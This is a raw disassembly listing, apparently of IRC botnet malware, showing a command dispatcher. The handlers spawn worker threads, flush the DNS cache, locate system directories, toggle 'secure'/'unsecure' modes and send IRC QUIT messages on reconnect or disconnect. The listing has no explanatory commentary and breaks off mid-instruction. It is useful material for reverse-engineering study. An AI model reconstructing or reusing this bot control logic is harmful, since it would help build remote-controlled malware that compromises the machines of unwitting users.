sub_409743 add esp, 14h loc_4039DD: ; CODE XREF: sub_401AA1+1F20j lea eax, [ebp+var_2C0] push eax call sub_415F45 pop ecx loc_4039EA: ; CODE XREF: sub_401AA1+1CECj add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40373F jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4039FE: ; CODE XREF: sub_401AA1+1F6Bj push 32h call dword_428080 ; Sleep loc_403A06: ; CODE XREF: sub_401AA1:loc_4039A2j cmp [ebp+var_71C], ebx jz short loc_4039FE jmp short loc_4039BF ; --------------------------------------------------------------------------- loc_403A10: ; CODE XREF: sub_401AA1+1D64j push offset dword_42E8B0 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_403A1A: ; CODE XREF: sub_401AA1:loc_403560j ; sub_401AA1+1AD4j push 5 call sub_40B496 test eax, eax pop ecx jle short loc_403A30 push offset unk_42E87C jmp loc_406DDD ; --------------------------------------------------------------------------- loc_403A30: ; CODE XREF: sub_401AA1+1F83j mov eax, [ebp+esi+var_8C] mov edi, 104h cmp eax, ebx jz short loc_403A53 push eax lea eax, [ebp+var_2D54] push edi push eax call sub_41BFF0 add esp, 0Ch jmp short loc_403A62 ; --------------------------------------------------------------------------- loc_403A53: ; CODE XREF: sub_401AA1+1F9Dj lea eax, [ebp+var_2D54] push edi push eax push ebx call dword_428078 ; GetModuleFileNameA loc_403A62: ; CODE XREF: sub_401AA1+1FB0j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403A72 mov esi, offset byte_42AA54 loc_403A72: ; CODE XREF: sub_401AA1+1FCAj push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41BFF0 mov eax, dword_42A964 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BC60 mov eax, [ebp+var_4] mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C0] push [ebp+var_2B44] push offset unk_42E830 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 5 push eax call sub_40B254 add esp, 34h mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset sub_412407 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_403B3E call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42E7E0 jmp loc_404968 ; --------------------------------------------------------------------------- loc_403B36: ; CODE XREF: sub_401AA1+20A3j push 32h call dword_428080 ; Sleep loc_403B3E: ; CODE XREF: sub_401AA1+2082j cmp [ebp+var_2AB8], ebx jz short loc_403B36 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_403B4B: ; CODE XREF: sub_401AA1+1A95j ; sub_401AA1+1AAAj mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403B6A push edi call sub_41BDE9 test eax, eax pop ecx jz short loc_403B6A push edi call sub_41BDE9 pop ecx jmp short loc_403B6F ; --------------------------------------------------------------------------- loc_403B6A: ; CODE XREF: sub_401AA1+20B3j ; sub_401AA1+20BEj mov eax, dword_42A968 loc_403B6F: ; CODE XREF: sub_401AA1+20C7j mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403BA2 lea eax, [ebp+var_37D0] push esi push eax call sub_41BEF6 pop ecx pop ecx jmp short loc_403BCD ; --------------------------------------------------------------------------- loc_403BA2: ; CODE XREF: sub_401AA1+20EEj lea eax, [ebp+var_49F4] push 104h push eax call dword_42807C ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C041 add esp, 14h loc_403BCD: ; CODE XREF: sub_401AA1+20FFj lea eax, [ebp+var_37D0] push eax call sub_41B650 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403BF8 lea eax, [ebp+var_37D0] push eax call sub_41B650 pop ecx mov [ebp+eax+var_37D1], bl loc_403BF8: ; CODE XREF: sub_401AA1+2141j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41BFF0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42E790 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 3 push eax call sub_40B254 add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FDBE push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_403CB3 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42E740 jmp loc_403DDD ; --------------------------------------------------------------------------- loc_403CAB: ; CODE XREF: sub_401AA1+2218j push 32h call dword_428080 ; Sleep loc_403CB3: ; CODE XREF: sub_401AA1+21F7j cmp [ebp+var_36B0], ebx jz short loc_403CAB jmp loc_403DEC ; --------------------------------------------------------------------------- loc_403CC0: ; CODE XREF: sub_401AA1+1A6Bj ; sub_401AA1+1A80j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403CDF push edi call sub_41BDE9 test eax, eax pop ecx jz short loc_403CDF push edi call sub_41BDE9 pop ecx jmp short loc_403CE4 ; --------------------------------------------------------------------------- loc_403CDF: ; CODE XREF: sub_401AA1+2228j ; sub_401AA1+2233j mov eax, dword_42A96C loc_403CE4: ; CODE XREF: sub_401AA1+223Cj mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403CFB lea eax, [ebp+var_C0] loc_403CFB: ; CODE XREF: sub_401AA1+2252j push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41BFF0 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403D1D mov esi, offset byte_4404C4 loc_403D1D: ; CODE XREF: sub_401AA1+2275j push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41BFF0 push [ebp+var_88] lea eax, [ebp+var_19E8] push 80h push eax call sub_41BFF0 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42E704 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 9 push eax call sub_40B254 add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset sub_4116E1 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_403E12 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42E6C8 loc_403DDD: ; CODE XREF: sub_401AA1+2205j ; sub_401AA1+4C01j ... lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch loc_403DEC: ; CODE XREF: sub_401AA1+221Aj ; sub_401AA1+2379j ... cmp [ebp+var_8], ebx jnz loc_402399 push ebx push edi loc_403DF7: ; CODE XREF: sub_401AA1+646Dj lea eax, [ebp+var_2C0] push eax push [ebp+var_88] push esi jmp loc_406E08 ; --------------------------------------------------------------------------- loc_403E0A: ; CODE XREF: sub_401AA1+2377j push 32h call dword_428080 ; Sleep loc_403E12: ; CODE XREF: sub_401AA1+232Ej cmp [ebp+var_1810], ebx jz short loc_403E0A jmp short loc_403DEC ; --------------------------------------------------------------------------- loc_403E1C: ; CODE XREF: sub_401AA1+1A41j ; sub_401AA1+1A56j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403E2F push esi call sub_41BDE9 jmp short loc_403E36 ; --------------------------------------------------------------------------- loc_403E2F: ; CODE XREF: sub_401AA1+2384j push 0Bh call sub_40B4B5 loc_403E36: ; CODE XREF: sub_401AA1+238Cj cmp eax, ebx pop ecx jz loc_409567 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BB95 jmp loc_404307 ; --------------------------------------------------------------------------- loc_403E56: ; CODE XREF: sub_401AA1+1A17j ; sub_401AA1+1A2Cj mov eax, dword_4CE224 cmp eax, ebx jz short loc_403E79 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2C0] jz short loc_403E72 push offset unk_42E6A4 jmp short loc_403E84 ; --------------------------------------------------------------------------- loc_403E72: ; CODE XREF: sub_401AA1+23C8j push offset unk_42E678 jmp short loc_403E84 ; --------------------------------------------------------------------------- loc_403E79: ; CODE XREF: sub_401AA1+23BCj push offset unk_42E64C lea eax, [ebp+var_2C0] loc_403E84: ; CODE XREF: sub_401AA1+23CFj ; sub_401AA1+23D6j ... push 200h push eax call sub_41BFF0 jmp loc_406BC0 ; --------------------------------------------------------------------------- loc_403E94: ; CODE XREF: sub_401AA1+19EDj ; sub_401AA1+1A02j call sub_40A7FD test eax, eax lea eax, [ebp+var_2C0] jz short loc_403EAA push offset unk_42E628 jmp short loc_403E84 ; --------------------------------------------------------------------------- loc_403EAA: ; CODE XREF: sub_401AA1+2400j push offset unk_42E5FC jmp short loc_403E84 ; --------------------------------------------------------------------------- loc_403EB1: ; CODE XREF: sub_401AA1+19C3j ; sub_401AA1+19D8j cmp [ebp+var_8], ebx jnz short loc_403ED0 push ebx push [ebp+var_4] push offset dword_42E5E4 push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_403ED0: ; CODE XREF: sub_401AA1+2413j push ebx push [ebp+var_4] call sub_418861 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push offset dword_42E5AC jmp loc_4041D4 ; --------------------------------------------------------------------------- loc_403EF2: ; CODE XREF: sub_401AA1+185Aj ; sub_401AA1+186Fj push 0Ah call sub_40B496 test eax, eax pop ecx jle short loc_403F05 push offset dword_42E560 jmp short loc_403F26 ; --------------------------------------------------------------------------- loc_403F05: ; CODE XREF: sub_401AA1+245Bj push [ebp+var_88] push [ebp+arg_4] call sub_41A2D6 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F21 push offset unk_42E51C jmp short loc_403F26 ; --------------------------------------------------------------------------- loc_403F21: ; CODE XREF: sub_401AA1+2477j push offset unk_42E4E4 loc_403F26: ; CODE XREF: sub_401AA1+2462j ; sub_401AA1+247Ej ... lea eax, [ebp+var_2C0] push eax call sub_41BEF6 pop ecx pop ecx loc_403F34: ; CODE XREF: sub_401AA1+575Fj ; sub_401AA1+708Cj cmp [ebp+var_8], ebx jnz short loc_403F55 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403F4D: ; CODE XREF: sub_401AA1+6CF4j call sub_409743 add esp, 14h loc_403F55: ; CODE XREF: sub_401AA1+2496j ; sub_401AA1+2687j ... lea eax, [ebp+var_2C0] push eax call sub_415F45 jmp loc_4096B1 ; --------------------------------------------------------------------------- loc_403F66: ; CODE XREF: sub_401AA1+1830j ; sub_401AA1+1845j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A49A jmp loc_4041F5 ; --------------------------------------------------------------------------- loc_403F7F: ; CODE XREF: sub_401AA1+1806j ; sub_401AA1+181Bj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4171BD jmp loc_4041F5 ; --------------------------------------------------------------------------- loc_403F9C: ; CODE XREF: sub_401AA1+17DCj ; sub_401AA1+17F1j or edi, 0FFFFFFFFh call dword_4280B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_403FC5 push esi call sub_41BDE9 pop ecx mov edi, eax loc_403FC5: ; CODE XREF: sub_401AA1+2519j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_403FDE cmp edi, 0FFFFFFFFh jnz loc_409567 loc_403FDE: ; CODE XREF: sub_401AA1+2532j push ebx call sub_41AF01 push eax lea eax, [ebp+var_2C0] push offset dword_42E4AC push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 loc_40400F: ; DATA XREF: .XPack0:0042A6C0o lea eax, [ebp+var_2C0] push eax call sub_415F45 loc_40401B: ; CODE XREF: sub_401AA1+5DB1j add esp, 28h jmp loc_409567 ; --------------------------------------------------------------------------- loc_404023: ; CODE XREF: sub_401AA1+17B2j ; sub_401AA1+17C7j push 27h call sub_40B496 test eax, eax pop ecx jle short loc_404054 cmp [ebp+var_8], ebx jnz loc_401F20 push ebx push [ebp+var_4] push offset dword_42E468 push [ebp+var_88] push [ebp+arg_4] call sub_409743 jmp loc_408B47 ; --------------------------------------------------------------------------- loc_404054: ; CODE XREF: sub_401AA1+258Cj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_4040B5 push esi push offset aFull ; "full" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_4040B5 mov [ebp+var_B40], 1 loc_4040B5: ; CODE XREF: sub_401AA1+25F7j ; sub_401AA1+2608j lea eax, [ebp+var_2C0] push offset dword_42E420 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 27h push eax call sub_40B254 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419F5D push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_404135 call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset dword_42E3C0 push eax call sub_41BEF6 add esp, 0Ch jmp loc_403F55 ; --------------------------------------------------------------------------- loc_40412D: ; CODE XREF: sub_401AA1+269Aj push 32h call dword_428080 ; Sleep loc_404135: ; CODE XREF: sub_401AA1+266Aj cmp [ebp+var_B34], ebx jz short loc_40412D jmp loc_403F55 ; --------------------------------------------------------------------------- loc_404142: ; CODE XREF: sub_401AA1+1788j ; sub_401AA1+179Dj cmp [ebp+var_8], ebx jnz short loc_404161 push ebx push [ebp+var_4] push offset dword_42E384 push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_404161: ; CODE XREF: sub_401AA1+26A4j push [ebp+arg_4] call dword_4CE3A0 ; closesocket call dword_4CE260 ; WSACleanup call sub_4189E4 push ebx call dword_42806C ; ExitProcess loc_40417C: ; CODE XREF: sub_401AA1+175Ej ; sub_401AA1+1773j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41B0A1 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push offset dword_42E34C jmp short loc_4041D4 ; --------------------------------------------------------------------------- loc_4041A7: ; CODE XREF: sub_401AA1+1734j ; sub_401AA1+1749j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B355 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push offset dword_42E314 loc_4041D4: ; CODE XREF: sub_401AA1+244Cj ; sub_401AA1+2704j call sub_415F45 loc_4041D9: ; CODE XREF: sub_401AA1+6DFAj add esp, 18h jmp loc_409567 ; --------------------------------------------------------------------------- loc_4041E1: ; CODE XREF: sub_401AA1+170Aj ; sub_401AA1+171Fj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415FE5 loc_4041F5: ; CODE XREF: sub_401AA1+3A9j ; sub_401AA1+24D9j ... add esp, 10h jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4041FD: ; CODE XREF: sub_401AA1+16E0j ; sub_401AA1+16F5j cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_40423C mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40423C push esi push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz short loc_40423C push eax push offset aS_2 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41BFF0 add esp, 10h loc_40423C: ; CODE XREF: sub_401AA1+2765j ; sub_401AA1+2770j ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] push offset dword_42E2E0 mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C0] push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 25h push eax call sub_40B254 add esp, 20h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset sub_416058 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4042DF call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42E280 jmp loc_4096AB ; --------------------------------------------------------------------------- loc_4042D7: ; CODE XREF: sub_401AA1+2844j push 32h call dword_428080 ; Sleep loc_4042DF: ; CODE XREF: sub_401AA1+2823j cmp [ebp+var_150C], ebx jz short loc_4042D7 jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4042EC: ; CODE XREF: sub_401AA1+16B6j ; sub_401AA1+16CBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415ECD push offset dword_42E248 call sub_415F45 loc_404307: ; CODE XREF: sub_401AA1+23B0j add esp, 10h jmp loc_409567 ; --------------------------------------------------------------------------- loc_40430F: ; CODE XREF: sub_401AA1+168Cj ; sub_401AA1+16A1j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_404369 push offset dword_42E244 push esi call sub_41C6E0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_40436F ; --------------------------------------------------------------------------- loc_404369: ; CODE XREF: sub_401AA1+28ACj mov [ebp+var_BD8], ebx loc_40436F: ; CODE XREF: sub_401AA1+28C6j lea eax, [ebp+var_2C0] push offset dword_42E20C push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 28h push eax call sub_40B254 add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset sub_40B2BF push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4043EF call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42E1B8 loc_4043D3: ; CODE XREF: sub_401AA1+7530j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_4043E7: ; CODE XREF: sub_401AA1+2954j push 32h call dword_428080 ; Sleep loc_4043EF: ; CODE XREF: sub_401AA1+2924j cmp [ebp+var_BCC], ebx jz short loc_4043E7 jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_4043FC: ; CODE XREF: sub_401AA1+1610j ; sub_401AA1+1625j push offset dword_42A990 lea eax, [ebp+var_2C0] push offset dword_42E180 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 20h jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_404433: ; CODE XREF: sub_401AA1+15E6j ; sub_401AA1+15FBj push dword_4CE04C call sub_41AF01 push eax lea eax, [ebp+var_2C0] push offset dword_42E130 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 24h jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_404471: ; CODE XREF: sub_401AA1+15BCj ; sub_401AA1+15D1j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044A3 cmp [ebp+var_C], ebx jz short loc_4044B2 push esi push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz short loc_4044B2 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_4096FD add esp, 0Ch jmp short loc_4044B2 ; --------------------------------------------------------------------------- loc_4044A3: ; CODE XREF: sub_401AA1+29D9j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_4096FD pop ecx pop ecx loc_4044B2: ; CODE XREF: sub_401AA1+29DEj ; sub_401AA1+29EDj ... push 0FFFFFFFEh pop eax jmp loc_401F23 ; --------------------------------------------------------------------------- loc_4044BA: ; CODE XREF: sub_401AA1+1592j ; sub_401AA1+15A7j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_4096FD push offset dword_42E0C0 call sub_415F45 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F23 ; --------------------------------------------------------------------------- loc_4044DC: ; CODE XREF: sub_401AA1+1568j ; sub_401AA1+157Dj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4096FD push offset dword_42E070 call sub_415F45 add esp, 0Ch jmp loc_4094D7 ; --------------------------------------------------------------------------- loc_4044FB: ; CODE XREF: sub_401AA1+153Ej ; sub_401AA1+1553j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B91D jmp loc_4048B7 ; --------------------------------------------------------------------------- loc_404511: ; CODE XREF: sub_401AA1+1514j ; sub_401AA1+1529j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B8C9 jmp loc_4048B7 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_401AA1+14EAj ; sub_401AA1+14FFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B85E jmp loc_4048B7 ; --------------------------------------------------------------------------- loc_40453D: ; CODE XREF: sub_401AA1+14C0j ; sub_401AA1+14D5j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B790 jmp loc_4048B7 ; --------------------------------------------------------------------------- loc_404553: ; CODE XREF: sub_401AA1+141Bj ; sub_401AA1+1430j push [ebp+esi+var_8C] push 27h push offset dword_42E060 push offset dword_42E038 jmp loc_408C3A ; --------------------------------------------------------------------------- loc_40456B: ; CODE XREF: sub_401AA1+13F1j ; sub_401AA1+1406j push [ebp+esi+var_8C] push 24h push offset dword_42E02C push offset dword_42E01C jmp loc_408C3A ; --------------------------------------------------------------------------- loc_404583: ; CODE XREF: sub_401AA1+100Aj ; sub_401AA1+101Fj mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045A2 push edi call sub_41BDE9 test eax, eax pop ecx jz short loc_4045A2 push edi call sub_41BDE9 pop ecx jmp short loc_4045A7 ; --------------------------------------------------------------------------- loc_4045A2: ; CODE XREF: sub_401AA1+2AEBj ; sub_401AA1+2AF6j mov eax, dword_42A960 loc_4045A7: ; CODE XREF: sub_401AA1+2AFFj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_4045CC push esi loc_4045B9: ; CODE XREF: sub_401AA1+2B3Aj lea eax, [ebp+var_5A0] push 10h push eax call sub_41BFF0 add esp, 0Ch jmp short loc_4045E3 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401AA1+2B15j cmp [ebp+var_8FF], bl jz short loc_4045DD lea eax, [ebp+var_C0] push eax jmp short loc_4045B9 ; --------------------------------------------------------------------------- loc_4045DD: ; CODE XREF: sub_401AA1+2B31j mov [ebp+var_5A0], bl loc_4045E3: ; CODE XREF: sub_401AA1+2B29j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41BFF0 add esp, 0Ch push [ebp+var_590] push esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2C0] push offset dword_42DFF4 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 19h push eax call sub_40B254 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411E46 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_404697 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42DFB8 jmp loc_4096AB ; --------------------------------------------------------------------------- loc_40468F: ; CODE XREF: sub_401AA1+2BFCj push 32h call dword_428080 ; Sleep loc_404697: ; CODE XREF: sub_401AA1+2BDBj cmp [ebp+var_57C], ebx jz short loc_40468F jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4046A4: ; CODE XREF: sub_401AA1+FB7j ; sub_401AA1+FCCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046C4 push esi call sub_41BDE9 test ax, ax pop ecx jz short loc_4046C4 push esi call sub_41BDE9 pop ecx jmp short loc_4046CA ; --------------------------------------------------------------------------- loc_4046C4: ; CODE XREF: sub_401AA1+2C0Cj ; sub_401AA1+2C18j mov ax, word_42A970 loc_4046CA: ; CODE XREF: sub_401AA1+2C21j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41BFF0 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_42DF8C push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push edi push eax push [ebp+var_88] push esi call sub_409743 push ebx lea eax, [ebp+var_2C0] push 6 push eax call sub_40B254 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40F219 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_40479C call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42DF4C jmp loc_4096AB ; --------------------------------------------------------------------------- loc_404794: ; CODE XREF: sub_401AA1+2D01j push 32h call dword_428080 ; Sleep loc_40479C: ; CODE XREF: sub_401AA1+2CE0j cmp [ebp+var_968], ebx jz short loc_404794 jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4047A9: ; CODE XREF: sub_401AA1+F63j ; sub_401AA1+F78j ... push edi push offset aSecure ; "secure" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4047D1 push edi push offset aSec ; "sec" call sub_41C6E0 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_4047DB loc_4047D1: ; CODE XREF: sub_401AA1+2D17j mov [ebp+var_AA8], 1 loc_4047DB: ; CODE XREF: sub_401AA1+2D2Ej push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404822 mov eax, offset aUnsecuring ; "Unsecuring" loc_404822: ; CODE XREF: sub_401AA1+2D7Aj push eax push offset dword_42DEFC lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 push ebx lea eax, [ebp+var_2C0] push 22h push eax call sub_40B254 add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A48B push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_404899 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42DEA8 jmp loc_40823D ; --------------------------------------------------------------------------- loc_404891: ; CODE XREF: sub_401AA1+2DFEj push 32h call dword_428080 ; Sleep loc_404899: ; CODE XREF: sub_401AA1+2DDDj cmp [ebp+var_A9C], ebx jz short loc_404891 jmp loc_402399 ; --------------------------------------------------------------------------- loc_4048A6: ; CODE XREF: sub_401AA1+F39j ; sub_401AA1+F4Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call 